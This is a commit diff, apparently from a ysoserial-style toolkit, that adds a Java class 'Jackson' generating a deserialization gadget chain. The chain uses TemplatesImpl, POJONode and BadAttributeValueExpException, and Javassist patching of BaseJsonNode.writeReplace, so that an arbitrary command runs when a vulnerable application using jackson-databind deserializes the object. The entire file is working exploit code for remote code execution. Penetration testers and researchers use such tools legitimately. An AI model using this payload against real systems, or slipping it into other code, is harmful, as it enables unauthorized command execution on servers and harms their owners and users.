|
| 1 | +package payloads; |
| 2 | +import com.fasterxml.jackson.databind.node.POJONode; |
| 3 | +import javassist.ClassPool; |
| 4 | +import javassist.CtClass; |
| 5 | +import javassist.CtMethod; |
| 6 | +import payloads.annotation.Authors; |
| 7 | +import payloads.annotation.Dependencies; |
| 8 | +import util.Gadgets; |
| 9 | +import util.PayloadRunner; |
| 10 | +import util.Reflections; |
| 11 | + |
| 12 | +import javax.management.BadAttributeValueExpException; |
| 13 | +import java.util.HashMap; |
| 14 | + |
| 15 | +@SuppressWarnings({"rawtypes", "unchecked"}) |
| 16 | +@Dependencies({"com.fasterxml.jackson.core:jackson-databind:2.14.2"}) |
| 17 | +@Authors({Authors.Y4ER}) |
| 18 | +public class Jackson implements ObjectPayload<Object> { |
| 19 | + |
| 20 | + public Object getObject(final String command) throws Exception { |
| 21 | + final Object template = Gadgets.createTemplatesImpl(command); |
| 22 | + |
| 23 | + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); |
| 24 | + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); |
| 25 | + ctClass.removeMethod(writeReplace); |
| 26 | + // 将修改后的CtClass加载至当前线程的上下文类加载器中 |
| 27 | + ctClass.toClass(); |
| 28 | + |
| 29 | + POJONode node = new POJONode(template); |
| 30 | + |
| 31 | + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); |
| 32 | + Reflections.setFieldValue(badAttributeValueExpException, "val", node); |
| 33 | + |
| 34 | + HashMap hashMap = new HashMap(); |
| 35 | + hashMap.put(template, badAttributeValueExpException); |
| 36 | + |
| 37 | + return hashMap; |
| 38 | + } |
| 39 | + |
| 40 | + |
| 41 | + public static byte[] getBytes(final String command) throws Exception { |
| 42 | + return PayloadRunner.run(Jackson.class, command); |
| 43 | + } |
| 44 | + |
| 45 | + public static void main(final String command) throws Exception { |
| 46 | + PayloadRunner.run(Jackson.class, command); |
| 47 | + } |
| 48 | +} |
0 commit comments